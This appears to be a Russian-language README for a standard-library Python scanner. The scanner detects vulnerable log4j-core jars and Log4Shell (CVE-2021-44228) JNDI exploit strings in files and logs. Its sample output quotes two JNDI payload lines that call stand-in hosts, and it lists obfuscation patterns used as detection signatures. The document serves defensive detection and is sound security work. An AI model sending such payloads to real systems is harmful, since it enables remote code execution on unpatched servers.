
Легковесный сканер, который обнаруживает уязвимые версии Log4j и индикаторы Log4Shell (CVE-2021-44228) в дереве файловой системы.
Независимый от зависимостей защитный сканер для Log4Shell — находит уязвимые jar-файлы log4j-core и шаблоны эксплойтов JNDI в журналах и конфигурациях.
Во время моей ротации в CERT-In я занимался идентификацией угроз, сдерживанием, устранением последствий и охотой на угрозы — именно тем рабочим процессом, который требовал Log4Shell (CVE-2021-44228) в масштабе в декабре 2021 года: найти каждый уязвимый артефакт log4j-core по всему парку и искать в журналах попытки эксплуатации ${jndi:...}. Этот сканер воспроизводит этот защитный рабочий процесс в одном переносимом скрипте на Python со стандартной библиотекой, которому не нужно ничего устанавливать на проверяемом хосте.
.jar / .war / .ear.pom.properties и MANIFEST.MF внутри каждого архива с помощью zipfile, при необходимости возвращаясь к имени файла; отличает настоящие log4j-core от посторонних jar-файлов.${jndi:ldap:// и распространённые обфускации (${${lower:j}ndi:…}, разделение скобками j}ndi:, ${::-j}).JndiLookup.class, плюс рекомендации по мониторингу исходящего трафика.log4j-core-2.14.1.jar (настоящий zip с pom.properties от log4j-core), исправленным 2.17.1.jar, посторонним jar-файлом и журналом с полезной нагрузкой JNDI.--demo собирает и сканирует демо-дерево от начала до конца.os, re, zipfile). Без зависимостей.Python 3 (только стандартная библиотека: argparse, os, re, zipfile).
git clone https://github.com/arpitgupta369/log4shell-scanner.git
cd log4shell-scanner
python --version # Python 3.8+
# no dependencies to install
Запустите демо на встроенном демо-дереве:
python log4shell_scan.py --demo
Ожидаемый вывод (сокращённый):
--- Archives (log4j-core detection) ---
[ok] .../commons-lang3-3.12.0.jar
version: unknown (via no log4j-core detected)
[VULNERABLE] .../log4j-core-2.14.1.jar
version: 2.14.1 (via pom.properties (...))
!! CVE-2021-44228: Critical RCE via JNDI lookup (Log4Shell).
!! CVE-2021-45046: Incomplete fix; RCE/DoS in certain configs.
!! CVE-2021-45105: Uncontrolled recursion -> Denial of Service.
[ok] .../log4j-core-2.17.1.jar
version: 2.17.1 (via pom.properties (...))
--- Exploit-pattern matches (JNDI payloads in text/logs) ---
[MATCH] .../access.log (2 hit(s))
L2: ... "User-Agent: ${jndi:ldap://malicious-example.test:1389/a}"
L3: ... "X-Api: ${${lower:j}ndi:rmi://evil-example.test/b}"
--- Summary ---
Vulnerable archives: 1
Files with JNDI patterns: 1
Сканируйте любую директорию, которую вы уполномочены проверить:
python log4shell_scan.py /path/to/deployed/app
Код завершения процесса — 1, если найдено что-то уязвимое или подозрительное, 0, если всё чисто — удобно для шлюзов CI/конвейеров.
Пересоберите демо-дерево в любое время:
python log4shell_scan.py --build-samples
log4shell-scanner/
├── log4shell_scan.py # scanner + sample-tree builder + CLI
├── samples/
│ └── app/
│ ├── libs/
│ │ ├── log4j-core-2.14.1.jar # fake VULNERABLE jar (real zip)
│ │ ├── log4j-core-2.17.1.jar # patched jar
│ │ └── commons-lang3-3.12.0.jar # unrelated jar
│ ├── logs/
│ │ └── access.log # contains JNDI payloads
│ └── config.properties # benign (should not match)
├── README.md
├── LICENSE
└── .gitignore
Только для образовательного, защитного и авторизованного использования. Запускайте только на системах и артефактах, которые вам разрешено проверять. Сканер только читает и сопоставляет шаблоны — он никогда не выполняет и не эксплуатирует ничего. Встроенные образцы jar-файлов являются сфабрикованными заглушками, а не подлинными артефактами Apache, и все имена хостов полезной нагрузки используют не маршрутизируемые имена .test. Сопоставления версий и CVE приведены для ориентировки; сверьтесь с официальными CVE и рекомендациями по безопасности Apache Log4j.